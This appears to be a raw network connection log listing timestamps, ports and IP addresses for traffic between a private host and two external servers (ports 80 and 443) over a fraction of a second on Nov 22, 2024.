Nov 22, 2024 17:08:56.975694895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.975717068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.975752115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.975847006 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.977123022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.977190018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.977196932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.977336884 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.978648901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.978730917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.978745937 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.978828907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.980443001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.980503082 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.980607033 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.980648041 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.980777979 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.980789900 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.980854034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.980866909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.980916023 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.981026888 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.982234001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.982297897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.982347012 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.982383966 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.983741045 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.983794928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.983865976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.984023094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.984862089 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.985196114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.985207081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.985254049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.986694098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.986741066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.986789942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.986813068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.988415956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.988517046 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.988574028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.989635944 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.989696026 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.989707947 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.989793062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.989923000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.989994049 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.991214991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.991229057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.991266012 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.991302967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.992563963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.992633104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.992643118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.992711067 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.993876934 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.994055033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.994066000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.994158983 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.994158983 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.994191885 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:56.994201899 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:56.995492935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.995553017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.995642900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.995793104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.996977091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.997008085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.997040033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.997073889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.998527050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.998578072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.998616934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.999352932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:56.999911070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:56.999959946 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.000000000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.000108957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.001656055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.001751900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.001801968 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.002902031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.002913952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.002918005 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.002959013 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.002985954 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.002995014 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.003052950 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.003062963 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.003124952 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.004347086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.004390001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.004396915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.004427910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.005784988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.005841970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.005882978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.006035089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.007286072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.007353067 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.007366896 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.007399082 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.008831978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.008954048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.009007931 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.010222912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.010281086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.010332108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.010565996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.011814117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.011827946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.011862993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.011897087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.011996031 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.012032986 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.012212038 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.012222052 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.012553930 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.013202906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.013252974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.013323069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.013422966 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.014694929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.014741898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.014923096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.014991045 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.016098976 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.016149998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.016273022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.016367912 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.016386986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.017751932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.017793894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.017805099 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.017841101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.019140959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.019288063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.019328117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.019362926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.020729065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.020740986 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.020828962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.020968914 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.021011114 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.021043062 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.021050930 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.021162987 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.022087097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.022098064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.022145987 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.023494959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.023555040 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.023570061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.023765087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.025197983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.025208950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.025254965 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.025568962 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.026396990 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.026457071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.026499987 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.026814938 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.027965069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.028017044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.028095961 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.028575897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.029369116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.029417038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.029490948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.029530048 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.029947042 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.030061960 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.030071020 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.030798912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.030884981 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.030920982 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.031044006 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.032298088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.032314062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.032356024 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.033782005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.033845901 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.033945084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.034141064 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.034508944 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.034898043 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.034905910 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.035212994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.035263062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.035326958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.036729097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.036803961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.036813974 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.036843061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.038363934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.038429976 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.038635015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.039103031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.040199041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.040275097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.040371895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.040416956 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.043695927 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.043777943 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.043797016 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.043807030 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.043864012 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.047970057 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.052562952 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.052648067 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.052663088 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.052675962 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.052807093 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.056962013 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.061676025 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.061791897 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.061800957 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.062318087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.062463999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.062556982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.062916994 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.063009024 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.063064098 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.064359903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.064409018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.064429045 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.064462900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.065866947 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.065922022 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.065953970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.066179037 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.066191912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.066880941 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.066890001 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.067327023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.067429066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.067504883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.067504883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.068845034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.068933010 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.068932056 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.068979979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.070224047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.070334911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.070338011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.070384026 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.071727991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.071775913 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.071866989 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.072716951 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.072814941 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.072823048 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.073224068 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.073235989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.073317051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.074645042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.074733973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.074754000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.074815989 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.075064898 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.075150967 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.075159073 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.076159954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.076236963 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.076267004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.076308966 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.077619076 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.077631950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.077702045 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.079077959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.079211950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.079356909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.079565048 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.079623938 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.079633951 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.080569983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.080637932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.080651999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.080777884 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.082070112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.082134008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.082165003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.082211018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.083477020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.083491087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.084197044 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.084976912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.085035086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.085134029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.085272074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.086463928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.086522102 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.086533070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.086576939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.088038921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.088092089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.088108063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.088537931 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.088601112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.088625908 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.088702917 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.088709116 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.088963032 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.089189053 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:57.089205980 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:57.089406013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.089483023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.089540958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.090912104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.091013908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.091022968 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.091080904 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.092312098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.092401981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.092426062 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.092468977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.093801975 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.093816042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.093878031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.101375103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.101449966 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.101460934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.101640940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.101686954 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.101753950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.101794004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.103087902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.103137970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.103180885 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.104562044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.104628086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.104643106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.105241060 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.106143951 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.106326103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.106512070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.107564926 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.107640028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:57.107693911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:57.109086990 CET	80	49747	185.215.113.206	192.168.2.10
